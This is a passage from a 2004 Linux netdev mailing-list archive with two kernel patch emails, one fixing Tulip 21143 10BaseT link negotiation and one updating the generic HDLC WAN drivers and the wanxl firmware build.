hq.pm.waw.pl (Postfix, from userid 10) id 4D51B36A; Fri, 28 May 2004 15:08:48 +0200 (CEST) Received: by defiant.pm.waw.pl (Postfix, from userid 500) id 96A9A302E0; Fri, 28 May 2004 14:21:57 +0200 (CEST) To: Jeff Garzik Cc: Subject: [PATCH] 21143 Tulip problems with 10BaseT From: Krzysztof Halasa Date: Fri, 28 May 2004 14:21:57 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-archive-position: 5431 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: khc@pm.waw.pl Precedence: bulk X-list: netdev --=-=-= Hi, Current 2.4 and 2.6 kernels have problems with Tulip 21143 on 10BaseT link (with not-NWay-capable 10 Mbps peer) - tulip_debug shows: Linux Tulip driver version 1.1.13 (May 11, 2002) tulip0: EEPROM default media type Autosense. tulip0: Index #0 - Media 10baseT (#0) described by a 21142 Serial PHY (2) block. tulip0: Index #1 - Media 10baseT-FDX (#4) described by a 21142 Serial PHY (2) block. tulip0: Index #2 - Media 100baseTx (#3) described by a 21143 SYM PHY (4) block. tulip0: Index #3 - Media 100baseTx-FDX (#5) described by a 21143 SYM PHY (4) block. eth2: Digital DS21143 Tulip rev 48 at 0xe400, 00:C0:CA:13:48:10, IRQ 9. eth2: Restarting 21143 autonegotiation, csr14=0003ffff. eth2: tulip_up(), irq==9. eth2: Restarting 21143 autonegotiation, csr14=0003ffff. eth2: Done tulip_up(), CSR0 ffa08000, CSR5 f0760000 CSR6 b2422202. eth2: interrupt csr5=0xf0670004 new csr5=0xf0660000. eth2: exiting interrupt, csr5=0xf0660000. eth2: interrupt csr5=0xf0670004 new csr5=0xf0660000. eth2: exiting interrupt, csr5=0xf0660000. eth2: interrupt csr5=0xf0670004 new csr5=0xf0660000. eth2: exiting interrupt, csr5=0xf0660000. eth2: interrupt csr5=0xf0668010 new csr5=0xf0660000. eth2: 21143 link status interrupt 000050ca, CSR5 f0668010, fffbffff. ^^^^^^^^ = got NLP but no FLP (no NWay) eth2: Autonegotiation failed, using 10baseT, link beat status 50ca. ... while we know the peer is using NLP and therefore is 10BaseT-HD capable. eth2: 21143 non-MII 10baseT transceiver control 08af/00a5. eth2: Setting CSR15 to 08af0008/00a50008. eth2: Using media type 10baseT, CSR12 is c6. eth2: Setting CSR6 82420000/b2422002 CSR12 000010c6. eth2: exiting interrupt, csr5=0xf0660000. eth2: 21143 negotiation status 000010c6, 10baseT. eth2: 21143 negotiation failed, status 000010c6. eth2: Testing new 21143 media 100baseTx. eth2: interrupt csr5=0xf0008102 new csr5=0xf0000000. eth2: The transmitter stopped. CSR5 is f0008102, CSR6 b2420000, new CSR6 83860000. eth2: interrupt csr5=0xf0670004 new csr5=0xf0660000. eth2: exiting interrupt, csr5=0xf0660000. eth2: 21143 negotiation status 000000c6, 100baseTx. eth2: No 21143 100baseTx link beat, 000000c6, trying NWay. eth2: Restarting 21143 autonegotiation, csr14=0003ffff. eth2: interrupt csr5=0xf0008102 new csr5=0xf0000000. eth2: The transmitter stopped. CSR5 is f0008102, CSR6 b2420200, new CSR6 82420200. eth2: interrupt csr5=0xf0670004 new csr5=0xf0660000. eth2: exiting interrupt, csr5=0xf0660000. eth2: interrupt csr5=0xf0668010 new csr5=0xf0660000. eth2: 21143 link status interrupt 000050ca, CSR5 f0668010, fffbffff. eth2: Autonegotiation failed, using 10baseT, link beat status 50ca. After the attached patch is applied: eth2: Restarting 21143 autonegotiation, csr14=0003ffff. eth2: tulip_up(), irq==9. eth2: Restarting 21143 autonegotiation, csr14=0003ffff. eth2: Done tulip_up(), CSR0 ffa08000, CSR5 f0360000 CSR6 b2422202. eth2: interrupt csr5=0xf0670004 new csr5=0xf0660000. eth2: exiting interrupt, csr5=0xf0660000. eth2: interrupt csr5=0xf0670004 new csr5=0xf0660000. eth2: exiting interrupt, csr5=0xf0660000. eth2: interrupt csr5=0xf0670004 new csr5=0xf0660000. eth2: exiting interrupt, csr5=0xf0660000. eth2: interrupt csr5=0xf0668010 new csr5=0xf0660000. eth2: 21143 link status interrupt 000050ca, CSR5 f0668010, fffbffff. ^^^^^^^^ The same here - 0x50CA = got NLP, negotiation ok (seems like NLP only sets this bit as well), no 100 Mbps link status (whatever that means). eth2: Switching to 10baseT based on link negotiation 01e0 & 0000 = 0000. Correct, we haven't received FLP so no "capability bits" are present. eth2: 21143 non-MII 10baseT transceiver control 08af/00a5. eth2: Setting CSR15 to 08af0008/00a50008. eth2: Using media type 10baseT, CSR12 is c6. eth2: Setting CSR6 82420000/b2422002 CSR12 000010c6. eth2: exiting interrupt, csr5=0xf0660000. eth2: 21143 negotiation status 000010c6, 10baseT. ^^^^ Not sure about it (no 10 nor 100 Mbps link pulse?). But the chip does it this way. Possibly the bit should be cleared before read? eth2: Using NWay-set 10baseT media, csr12 000010c6. eth2: interrupt csr5=0xf0668010 new csr5=0xf0660000. eth2: 21143 link status interrupt 000050ca, CSR5 f0668010, fff8ffff. eth2: 21143 10baseT link beat good. eth2: exiting interrupt, csr5=0xf0660000. eth2: 21143 negotiation status 000050ca, 10baseT. eth2: Using NWay-set 10baseT media, csr12 000050ca. eth2: 21143 negotiation status 000050ca, 10baseT. eth2: Using NWay-set 10baseT media, csr12 000050ca. The chip on this card (Micronet SP2500K - Taiwan I think) is DEC 21143-PC: 00:08.0 Class 0200: 1011:0019 (rev 30) Subsystem: 1113:1207 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap- 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- if_port = 3; else if (negotiated & 0x0040) dev->if_port = 4; else if (negotiated & 0x0020) dev->if_port = 0; - else { + else if ((csr12 & 2) == 0 && (tp->sym_advertise & 0x0180)) + dev->if_port = 3; + else if ((csr12 & 4) == 0 && (tp->sym_advertise & 0x0060)) + dev->if_port = 0; + else tp->nwayset = 0; - if ((csr12 & 2) == 0 && (tp->sym_advertise & 0x0180)) - dev->if_port = 3; - } + tp->full_duplex = (tulip_media_cap[dev->if_port] & MediaAlwaysFD) ? 1:0; if (tulip_debug > 1) { --=-=-=-- From khc@pm.waw.pl Fri May 28 06:11:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 06:11:24 -0700 (PDT) Received: from hq.pm.waw.pl (hq.pm.waw.pl [195.116.170.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SDBFgi014496 for ; Fri, 28 May 2004 06:11:16 -0700 Received: by hq.pm.waw.pl (Postfix, from userid 10) id B80B9367; Fri, 28 May 2004 15:11:02 +0200 (CEST) Received: by defiant.pm.waw.pl (Postfix, from userid 500) id 80607302E0; Fri, 28 May 2004 15:10:06 +0200 (CEST) To: Jeff Garzik Cc: Subject: [PATCH] 2.6 Generic HDLC update From: Krzysztof Halasa Date: Fri, 28 May 2004 15:10:06 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-archive-position: 5432 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: khc@pm.waw.pl Precedence: bulk X-list: netdev --=-=-= Hi, The attached patch updates generic HDLC: - fixed some carrier-related problems (Cisco HDLC and FR links could report valid link when no carrier was detected at startup). - fixed kbuild problems with wanxl firmware (building kernel in separate tree). $(src)/wanxlfw.inc is now wanxlfw.inc_shipped. -- Krzysztof Halasa, B*FH --=-=-= Content-Type: text/x-patch Content-Disposition: inline; filename=hdlc-1.17.patch --- linux-2.6/drivers/net/wan/Makefile 17 May 2004 02:08:10 -0000 +++ linux-2.6/drivers/net/wan/Makefile 28 May 2004 12:50:05 -0000 @@ -60,6 +60,9 @@ obj-$(CONFIG_C101) += c101.o obj-$(CONFIG_WANXL) += wanxl.o obj-$(CONFIG_PCI200SYN) += pci200syn.o + +clean-files := wanxlfw.inc +$(obj)/wanxl.o: $(obj)/wanxlfw.inc ifeq ($(CONFIG_WANXL_BUILD_FIRMWARE),y) ifeq ($(ARCH),m68k) @@ -72,12 +76,12 @@ quiet_cmd_build_wanxlfw = BLD FW $@ cmd_build_wanxlfw = \ - $(CPP) -Wp,-MD,$(depfile) -Iinclude $(obj)/wanxlfw.S | $(AS68K) -m68360 -o $(obj)/wanxlfw.o; \ + $(CPP) -Wp,-MD,$(depfile) -I$(srctree)/include $< | $(AS68K) -m68360 -o $(obj)/wanxlfw.o; \ $(LD68K) --oformat binary -Ttext 0x1000 $(obj)/wanxlfw.o -o $(obj)/wanxlfw.bin; \ hexdump -ve '"\n" 16/1 "0x%02X,"' $(obj)/wanxlfw.bin | sed 's/0x ,//g;1s/^/static u8 firmware[]={/;$$s/,$$/\n};\n/' >$(obj)/wanxlfw.inc; \ rm -f $(obj)/wanxlfw.bin $(obj)/wanxlfw.o -$(obj)/wanxlfw.inc: $(obj)/wanxlfw.S +$(obj)/wanxlfw.inc: $(src)/wanxlfw.S $(call if_changed_dep,build_wanxlfw) targets += wanxlfw.inc endif --- linux-2.6/drivers/net/wan/c101.c 18 Feb 2004 06:06:52 -0000 +++ linux-2.6/drivers/net/wan/c101.c 28 May 2004 12:50:05 -0000 @@ -379,8 +379,6 @@ return result; } - /* XXX: are we OK with having that done when card is already up? */ - sca_init_sync_port(card); /* Set up C101 memory */ hdlc_set_carrier(!(sca_in(MSCI1_OFFSET + ST3, card) & ST3_DCD), dev); --- linux-2.6/drivers/net/wan/hdlc_cisco.c 18 Feb 2004 06:06:52 -0000 +++ linux-2.6/drivers/net/wan/hdlc_cisco.c 28 May 2004 12:50:05 -0000 @@ -180,7 +180,8 @@ case CISCO_KEEPALIVE_REQ: hdlc->state.cisco.rxseq = ntohl(cisco_data->par1); - if (ntohl(cisco_data->par2)==hdlc->state.cisco.txseq) { + if (hdlc->state.cisco.request_sent && + ntohl(cisco_data->par2)==hdlc->state.cisco.txseq) { hdlc->state.cisco.last_poll = jiffies; if (!hdlc->state.cisco.up) { u32 sec, min, hrs, days; @@ -192,8 +193,9 @@ "uptime %ud%uh%um%us)\n", dev->name, days, hrs, min, sec); + netif_carrier_on(dev); + hdlc->state.cisco.up = 1; } - hdlc->state.cisco.up = 1; } dev_kfree_skb_any(skb); @@ -219,17 +221,18 @@ struct net_device *dev = (struct net_device *)arg; hdlc_device *hdlc = dev_to_hdlc(dev); - if (hdlc->state.cisco.up && jiffies - hdlc->state.cisco.last_poll >= - hdlc->state.cisco.settings.timeout * HZ) { + if (hdlc->state.cisco.up && + time_after(jiffies, hdlc->state.cisco.last_poll + + hdlc->state.cisco.settings.timeout * HZ)) { hdlc->state.cisco.up = 0; printk(KERN_INFO "%s: Link down\n", dev->name); - if (netif_carrier_ok(dev)) - netif_carrier_off(dev); + netif_carrier_off(dev); } cisco_keepalive_send(dev, CISCO_KEEPALIVE_REQ, ++hdlc->state.cisco.txseq, hdlc->state.cisco.rxseq); + hdlc->state.cisco.request_sent = 1; hdlc->state.cisco.timer.expires = jiffies + hdlc->state.cisco.settings.interval * HZ; hdlc->state.cisco.timer.function = cisco_timer; @@ -242,8 +245,8 @@ static void cisco_start(struct net_device *dev) { hdlc_device *hdlc = dev_to_hdlc(dev); - hdlc->state.cisco.last_poll = 0; hdlc->state.cisco.up = 0; + hdlc->state.cisco.request_sent = 0; hdlc->state.cisco.txseq = hdlc->state.cisco.rxseq = 0; init_timer(&hdlc->state.cisco.timer); @@ -257,9 +260,12 @@ static void cisco_stop(struct net_device *dev) { - del_timer_sync(&dev_to_hdlc(dev)->state.cisco.timer); + hdlc_device *hdlc = dev_to_hdlc(dev); + del_timer_sync(&hdlc->state.cisco.timer); if (netif_carrier_ok(dev)) netif_carrier_off(dev); + hdlc->state.cisco.up = 0; + hdlc->state.cisco.request_sent = 0; } --- linux-2.6/drivers/net/wan/hdlc_fr.c 18 Feb 2004 06:09:13 -0000 +++ linux-2.6/drivers/net/wan/hdlc_fr.c 28 May 2004 12:50:05 -0000 @@ -584,8 +584,9 @@ u32 list; if (hdlc->state.fr.settings.dce) - reliable = (jiffies - hdlc->state.fr.last_poll < - hdlc->state.fr.settings.t392 * HZ); + reliable = hdlc->state.fr.request && + time_before(jiffies, hdlc->state.fr.last_poll + + hdlc->state.fr.settings.t392 * HZ); else { hdlc->state.fr.last_errors <<= 1; /* Shift the list */ if (hdlc->state.fr.request) { @@ -617,6 +618,7 @@ fr_lmi_send(dev, hdlc->state.fr.n391cnt == 0); + hdlc->state.fr.last_poll = jiffies; hdlc->state.fr.request = 1; hdlc->state.fr.timer.expires = jiffies + hdlc->state.fr.settings.t391 * HZ; @@ -689,6 +691,7 @@ dev->name, reptype); return 1; } + hdlc->state.fr.last_poll = jiffies; } error = 0; @@ -728,7 +731,12 @@ /* DTE */ - if (reptype != LMI_FULLREP || error) + hdlc->state.fr.request = 0; /* got response, no request pending */ + + if (error) + return 0; + + if (reptype != LMI_FULLREP) return 0; stat_len = 3; @@ -829,9 +837,6 @@ if (fr_lmi_recv(ndev, skb)) goto rx_error; else { - /* No request pending */ - hdlc->state.fr.request = 0; - hdlc->state.fr.last_poll = jiffies; dev_kfree_skb_any(skb); return NET_RX_SUCCESS; } @@ -946,9 +951,6 @@ printk(KERN_DEBUG "fr_start\n"); #endif if (hdlc->state.fr.settings.lmi != LMI_NONE) { - if (netif_carrier_ok(dev)) - netif_carrier_off(dev); - hdlc->state.fr.last_poll = 0; hdlc->state.fr.reliable = 0; hdlc->state.fr.dce_changed = 1; hdlc->state.fr.request = 0; --- linux-2.6/drivers/net/wan/hdlc_generic.c 18 Feb 2004 06:06:52 -0000 +++ linux-2.6/drivers/net/wan/hdlc_generic.c 28 May 2004 12:50:05 -0000 @@ -15,6 +15,11 @@ * * X.25 * * Use sethdlc utility to set line parameters, protocol and PVCs + * + * How does it work: + * - proto.open(), close(), start(), stop() calls are serialized. + * The order is: open, [ start, stop ... ] close ... + * - proto.start() and stop() are called with spin_lock_irq held. */ #include @@ -33,9 +38,9 @@ #include -static const char* version = "HDLC support module revision 1.16"; +static const char* version = "HDLC support module revision 1.17"; #undef DEBUG_LINK static int hdlc_change_mtu(struct net_device *dev, int new_mtu) @@ -69,51 +74,75 @@ +static void __hdlc_set_carrier_on(struct net_device *dev) +{ + hdlc_device *hdlc = dev_to_hdlc(dev); + if (hdlc->proto.start) + return hdlc->proto.start(dev); +#ifdef DEBUG_LINK + if (netif_carrier_ok(dev)) + printk(KERN_ERR "hdlc_set_carrier_on(): already on\n"); +#endif + netif_carrier_on(dev); +} + + + +static void __hdlc_set_carrier_off(struct net_device *dev) +{ + hdlc_device *hdlc = dev_to_hdlc(dev); + if (hdlc->proto.stop) + return hdlc->proto.stop(dev); + +#ifdef DEBUG_LINK + if (!netif_carrier_ok(dev)) + printk(KERN_ERR "hdlc_set_carrier_off(): already off\n"); +#endif + netif_carrier_off(dev); +} + + + void hdlc_set_carrier(int on, struct net_device *dev) { hdlc_device *hdlc = dev_to_hdlc(dev); + unsigned long flags; on = on ? 1 : 0; #ifdef DEBUG_LINK printk(KERN_DEBUG "hdlc_set_carrier %i\n", on); #endif - spin_lock_irq(&hdlc->state_lock); + spin_lock_irqsave(&hdlc->state_lock, flags); if (hdlc->carrier == on) goto carrier_exit; /* no change in DCD line level */ - printk(KERN_INFO "%s: carrier %s\n", dev->name, - on ? "ON" : "off"); +#ifdef DEBUG_LINK + printk(KERN_INFO "%s: carrier %s\n", dev->name, on ? "ON" : "off"); +#endif hdlc->carrier = on; if (!hdlc->open) goto carrier_exit; - if (hdlc->carrier) { - if (hdlc->proto.start) - hdlc->proto.start(dev); - else if (!netif_carrier_ok(dev)) - netif_carrier_on(dev); - - } else { /* no carrier */ - if (hdlc->proto.stop) - hdlc->proto.stop(dev); - else if (netif_carrier_ok(dev)) - netif_carrier_off(dev); - } + if (hdlc->carrier) + __hdlc_set_carrier_on(dev); + else + __hdlc_set_carrier_off(dev); - carrier_exit: - spin_unlock_irq(&hdlc->state_lock); +carrier_exit: + spin_unlock_irqrestore(&hdlc->state_lock, flags); } + /* Must be called by hardware driver when HDLC device is being opened */ int hdlc_open(struct net_device *dev) { hdlc_device *hdlc = dev_to_hdlc(dev); #ifdef DEBUG_LINK - printk(KERN_DEBUG "hdlc_open carrier %i open %i\n", + printk(KERN_DEBUG "hdlc_open() carrier %i open %i\n", hdlc->carrier, hdlc->open); #endif @@ -128,14 +157,8 @@ spin_lock_irq(&hdlc->state_lock); - if (hdlc->carrier) { - if (hdlc->proto.start) - hdlc->proto.start(dev); - else if (!netif_carrier_ok(dev)) - netif_carrier_on(dev); - - } else if (netif_carrier_ok(dev)) - netif_carrier_off(dev); + if (hdlc->carrier) + __hdlc_set_carrier_on(dev); hdlc->open = 1; @@ -150,15 +173,15 @@ { hdlc_device *hdlc = dev_to_hdlc(dev); #ifdef DEBUG_LINK - printk(KERN_DEBUG "hdlc_close carrier %i open %i\n", + printk(KERN_DEBUG "hdlc_close() carrier %i open %i\n", hdlc->carrier, hdlc->open); #endif spin_lock_irq(&hdlc->state_lock); hdlc->open = 0; - if (hdlc->carrier && hdlc->proto.stop) - hdlc->proto.stop(dev); + if (hdlc->carrier) + __hdlc_set_carrier_off(dev); spin_unlock_irq(&hdlc->state_lock); @@ -185,7 +208,7 @@ #endif #ifndef CONFIG_HDLC_FR -#define hdlc_fr_ioctl(dev, ifr) -ENOSYS +#define hdlc_fr_ioctl(dev, ifr) -ENOSYS #endif #ifndef CONFIG_HDLC_X25 @@ -257,31 +280,16 @@ int register_hdlc_device(struct net_device *dev) { - int result; - hdlc_device *hdlc = dev_to_hdlc(dev); - - dev->get_stats = hdlc_get_stats; - dev->change_mtu = hdlc_change_mtu; - dev->mtu = HDLC_MAX_MTU; - - dev->type = ARPHRD_RAWHDLC; - dev->hard_header_len = 16; - - dev->flags = IFF_POINTOPOINT | IFF_NOARP; - - hdlc->proto.id = -1; - hdlc->proto.detach = NULL; - hdlc->carrier = 1; - hdlc->open = 0; - spin_lock_init(&hdlc->state_lock); - - result = dev_alloc_name(dev, "hdlc%d"); + int result = dev_alloc_name(dev, "hdlc%d"); if (result < 0) return result; result = register_netdev(dev); if (result != 0) return -EIO; + + if (netif_carrier_ok(dev)) + netif_carrier_off(dev); /* no carrier until DCD goes up */ return 0; } --- linux-2.6/drivers/net/wan/wanxlfw.inc 21 Sep 2003 22:40:35 -0000 +++ /dev/null 1 Jan 1970 00:00:00 -0000 @@ -1,158 +0,0 @@ -static u8 firmware[]={ -0x60,0x00,0x00,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0xB9,0x40,0x00,0x00,0x00,0x00,0x00, -0x10,0x14,0x42,0x80,0x4A,0xB0,0x09,0xB0,0x00,0x00,0x10,0x04,0x67,0x00,0x00,0x0E, -0x06,0xB0,0x40,0x00,0x00,0x00,0x09,0xB0,0x00,0x00,0x10,0x04,0x58,0x80,0x0C,0x80, -0x00,0x00,0x00,0x10,0x66,0x00,0xFF,0xDE,0x21,0xFC,0x00,0x00,0x16,0xBC,0x00,0x6C, -0x21,0xFC,0x00,0x00,0x17,0x5E,0x01,0x00,0x21,0xFC,0x00,0x00,0x16,0xDE,0x01,0x78, -0x21,0xFC,0x00,0x00,0x16,0xFE,0x01,0x74,0x21,0xFC,0x00,0x00,0x17,0x1E,0x01,0x70, -0x21,0xFC,0x00,0x00,0x17,0x3E,0x01,0x6C,0x21,0xFC,0x00,0x00,0x18,0x4C,0x02,0x00, -0x23,0xFC,0x78,0x00,0x00,0x00,0xFF,0xFC,0x15,0x48,0x33,0xFC,0x04,0x80,0xFF,0xFC, -0x10,0x26,0x33,0xFC,0x01,0x10,0xFF,0xFC,0x10,0x2A,0x23,0xFC,0x00,0xD4,0x9F,0x40, -0xFF,0xFC,0x15,0x40,0x23,0xFC,0x00,0x00,0x05,0x43,0xFF,0xF9,0x01,0x00,0x23,0xFC, -0x00,0x00,0x05,0x43,0xFF,0xF9,0x01,0x14,0x23,0xFC,0x00,0x00,0x00,0x00,0xFF,0xF9, -0x01,0x10,0x23,0xFC,0x00,0x00,0x00,0x08,0xFF,0xF9,0x01,0x24,0x23,0xFC,0x00,0x00, -0x01,0x01,0xFF,0xF9,0x01,0x28,0x00,0xB9,0x00,0x0F,0x03,0x00,0xFF,0xF9,0x00,0xE8, -0x23,0xFC,0x00,0x00,0x00,0x01,0xFF,0xF9,0x00,0xD4,0x61,0x00,0x06,0x74,0x33,0xFC, -0xFF,0xFF,0xFF,0xFC,0x15,0x52,0x42,0x79,0xFF,0xFC,0x15,0x50,0x42,0x79,0xFF,0xFC, -0x15,0x64,0x2E,0x3A,0x08,0x50,0x42,0xB9,0x00,0x00,0x19,0x54,0x4A,0x87,0x66,0x00, -0x00,0x0E,0x4E,0x72,0x22,0x00,0x46,0xFC,0x27,0x00,0x60,0x00,0xFF,0xE6,0x42,0x80, -0x42,0x86,0x08,0x07,0x00,0x04,0x67,0x00,0x00,0x0A,0x08,0x87,0x00,0x00,0x61,0x00, -0x02,0xA0,0x08,0x07,0x00,0x00,0x67,0x00,0x00,0x06,0x61,0x00,0x00,0x36,0x08,0x07, -0x00,0x08,0x67,0x00,0x00,0x06,0x61,0x00,0x02,0xB8,0x08,0x07,0x00,0x0C,0x67,0x00, -0x00,0x0A,0x61,0x00,0x04,0x94,0x61,0x00,0x03,0x60,0xE2,0x8F,0x58,0x80,0x0C,0x80, -0x00,0x00,0x00,0x10,0x66,0x00,0xFF,0xBC,0x23,0xC6,0xFF,0xF9,0x00,0xE4,0x60,0x00, -0xFF,0x92,0x20,0x70,0x09,0xB0,0x00,0x00,0x10,0x04,0x4A,0xA8,0x00,0x00,0x66,0x00, -0x02,0x4E,0x21,0x7C,0x00,0x00,0x00,0x01,0x00,0x00,0x42,0xB0,0x09,0xB0,0x00,0x00, -0x19,0x58,0x42,0xB0,0x09,0xB0,0x00,0x00,0x19,0x68,0x42,0xB0,0x09,0xB0,0x00,0x00, -0x19,0x78,0x42,0xB0,0x09,0xB0,0x00,0x00,0x19,0x88,0x22,0x39,0xFF,0xFC,0x16,0xEC, -0xC2,0xB0,0x09,0xB0,0x00,0x00,0x18,0xF2,0x0C,0xA8,0x00,0x00,0x00,0x04,0x00,0x18, -0x66,0x00,0x00,0x0E,0x82,0xB0,0x09,0xB0,0x00,0x00,0x18,0xE2,0x60,0x00,0x00,0x0A, -0x82,0xB0,0x09,0xB0,0x00,0x00,0x18,0xD2,0x23,0xC1,0xFF,0xFC,0x16,0xEC,0x00,0x70, -0x10,0x00,0x09,0xB0,0x00,0x00,0x19,0xAA,0x61,0x00,0x05,0x76,0x22,0x30,0x09,0xB0, -0x00,0x00,0x18,0x92,0x22,0x70,0x09,0xB0,0x00,0x00,0x18,0x72,0x74,0x08,0x26,0x3C, -0x18,0x00,0x00,0x00,0x0C,0xA8,0x00,0x00,0x00,0x01,0x00,0x10,0x67,0x00,0x00,0x06, -0x08,0xC3,0x00,0x1A,0x22,0xC3,0x22,0xC1,0x06,0x81,0x00,0x00,0x05,0xFC,0x51,0xCA, -0xFF,0xF4,0x08,0xC3,0x00,0x1D,0x22,0xC3,0x22,0xC1,0x74,0x1C,0x22,0xFC,0x90,0x00, -0x00,0x00,0x22,0xC1,0x06,0x81,0x00,0x00,0x05,0xFC,0x51,0xCA,0xFF,0xF0,0x22,0xFC, -0xB0,0x00,0x00,0x00,0x22,0xC1,0x22,0x70,0x09,0xB0,0x00,0x00,0x18,0x62,0x24,0x70, -0x09,0xB0,0x00,0x00,0x18,0x52,0x25,0x7C,0x00,0x00,0xFF,0xFF,0x00,0x10,0x25,0x7C, -0x00,0x00,0x00,0x00,0x00,0x14,0x22,0x30,0x09,0xB0,0x00,0x00,0x18,0x72,0x33,0x41, -0x00,0x02,0x06,0x81,0x00,0x00,0x00,0x50,0x33,0x41,0x00,0x00,0x13,0x7C,0x00,0x08, -0x00,0x04,0x13,0x7C,0x00,0x08,0x00,0x05,0x0C,0xA8,0x00,0x00,0x00,0x05,0x00,0x10, -0x66,0x00,0x00,0x2A,0x42,0x6A,0x00,0x08,0x23,0x7C,0x00,0x00,0xF0,0xB8,0x00,0x34, -0x23,0x7C,0x00,0x00,0xFF,0xFF,0x00,0x38,0x33,0x7C,0x05,0xFA,0x00,0x46,0x31,0xBC, -0x00,0x02,0x09,0xB0,0x00,0x00,0x19,0x9C,0x60,0x00,0x00,0xBC,0x0C,0xA8,0x00,0x00, -0x00,0x07,0x00,0x10,0x66,0x00,0x00,0x2C,0x35,0x7C,0x08,0x00,0x00,0x08,0x23,0x7C, -0xDE,0xBB,0x20,0xE3,0x00,0x34,0x23,0x7C,0xFF,0xFF,0xFF,0xFF,0x00,0x38,0x33,0x7C, -0x05,0xFC,0x00,0x46,0x31,0xBC,0x00,0x04,0x09,0xB0,0x00,0x00,0x19,0x9C,0x60,0x00, -0x00,0x86,0x0C,0xA8,0x00,0x00,0x00,0x04,0x00,0x10,0x66,0x00,0x00,0x26,0x42,0x6A, -0x00,0x08,0x23,0x7C,0x00,0x00,0xF0,0xB8,0x00,0x34,0x42,0xA9,0x00,0x38,0x33,0x7C, -0x05,0xFA,0x00,0x46,0x31,0xBC,0x00,0x02,0x09,0xB0,0x00,0x00,0x19,0x9C,0x60,0x00, -0x00,0x56,0x0C,0xA8,0x00,0x00,0x00,0x06,0x00,0x10,0x66,0x00,0x00,0x28,0x35,0x7C, -0x08,0x00,0x00,0x08,0x23,0x7C,0xDE,0xBB,0x20,0xE3,0x00,0x34,0x42,0xA9,0x00,0x38, -0x33,0x7C,0x05,0xFC,0x00,0x46,0x31,0xBC,0x00,0x04,0x09,0xB0,0x00,0x00,0x19,0x9C, -0x60,0x00,0x00,0x24,0x42,0x6A,0x00,0x08,0x23,0x7C,0x00,0x00,0xF0,0xB8,0x00,0x34, -0x23,0x7C,0x00,0x00,0xFF,0xFF,0x00,0x38,0x33,0x7C,0x05,0xF8,0x00,0x46,0x42,0x70, -0x09,0xB0,0x00,0x00,0x19,0x9C,0x25,0x7C,0x00,0x00,0x00,0x03,0x00,0x04,0x0C,0xA8, -0x00,0x00,0x00,0x02,0x00,0x14,0x66,0x00,0x00,0x0E,0x25,0x7C,0x10,0x04,0x09,0x00, -0x00,0x00,0x60,0x00,0x00,0x0A,0x25,0x7C,0x10,0x04,0x00,0x00,0x00,0x00,0x33,0x7C, -0x05,0xFC,0x00,0x06,0x22,0x00,0xE9,0x89,0x00,0x81,0x00,0x00,0x00,0x01,0x33,0xC1, -0xFF,0xFC,0x15,0xC0,0x08,0x39,0x00,0x00,0xFF,0xFC,0x15,0xC0,0x66,0x00,0xFF,0xF6, -0x35,0x7C,0x00,0x1F,0x00,0x14,0x00,0xAA,0x00,0x00,0x00,0x30,0x00,0x00,0x4E,0x75, -0x20,0x70,0x09,0xB0,0x00,0x00,0x18,0x52,0x42,0x68,0x00,0x14,0x02,0xA8,0xFF,0xFF, -0xFF,0xCF,0x00,0x00,0x02,0x70,0xEF,0xFF,0x09,0xB0,0x00,0x00,0x19,0xAA,0x61,0x00, -0x03,0x70,0x22,0x30,0x09,0xB0,0x00,0x00,0x10,0x04,0x42,0xB0,0x19,0x90,0x4E,0x75, -0x0C,0xB0,0x00,0x00,0x00,0x0A,0x09,0xB0,0x00,0x00,0x19,0x78,0x67,0x00,0x00,0xA8, -0x22,0x30,0x09,0xB0,0x00,0x00,0x19,0x68,0x24,0x01,0x4C,0x3C,0x20,0x00,0x00,0x00, -0x00,0x0C,0xD4,0xB0,0x09,0xB0,0x00,0x00,0x10,0x04,0x06,0x82,0x00,0x00,0x00,0x1C, -0x0C,0xB0,0x00,0x00,0x00,0x10,0x29,0x90,0x66,0x00,0x00,0x7C,0x20,0x70,0x29,0xA0, -0x00,0x04,0xE7,0x89,0xD2,0xB0,0x09,0xB0,0x00,0x00,0x18,0x72,0x22,0x70,0x19,0xA0, -0x00,0x04,0x24,0x30,0x29,0xA0,0x00,0x08,0x31,0x82,0x19,0xA0,0x00,0x02,0x56,0x82, -0x02,0x82,0xFF,0xFF,0xFF,0xFC,0x23,0xC8,0xFF,0xF9,0x01,0x04,0x23,0xC9,0xFF,0xF9, -0x01,0x08,0x23,0xC2,0xFF,0xF9,0x01,0x0C,0x23,0xFC,0x00,0x00,0x01,0x03,0xFF,0xF9, -0x01,0x28,0x61,0x00,0x01,0xF6,0x08,0xF0,0x00,0x1F,0x19,0x90,0x22,0x30,0x09,0xB0, -0x00,0x00,0x19,0x68,0x52,0x81,0x0C,0x81,0x00,0x00,0x00,0x0A,0x66,0x00,0x00,0x04, -0x42,0x81,0x21,0x81,0x09,0xB0,0x00,0x00,0x19,0x68,0x52,0xB0,0x09,0xB0,0x00,0x00, -0x19,0x78,0x60,0x00,0xFF,0x4C,0x4E,0x75,0x22,0x30,0x09,0xB0,0x00,0x00,0x19,0x88, -0xE7,0x89,0xD2,0xB0,0x09,0xB0,0x00,0x00,0x18,0x82,0x34,0x30,0x19,0x90,0x08,0x02, -0x00,0x0F,0x66,0x00,0x01,0x12,0x08,0x02,0x00,0x01,0x66,0x00,0x00,0xE6,0x4A,0x70, -0x09,0xB0,0x00,0x00,0x19,0x9C,0x66,0x00,0x00,0x06,0x08,0x82,0x00,0x02,0x02,0x42, -0x0C,0xBC,0x0C,0x42,0x0C,0x00,0x66,0x00,0x00,0xDC,0x42,0x83,0x36,0x30,0x19,0xA0, -0x00,0x02,0x96,0x70,0x09,0xB0,0x00,0x00,0x19,0x9C,0x0C,0x43,0x05,0xF8,0x6E,0x00, 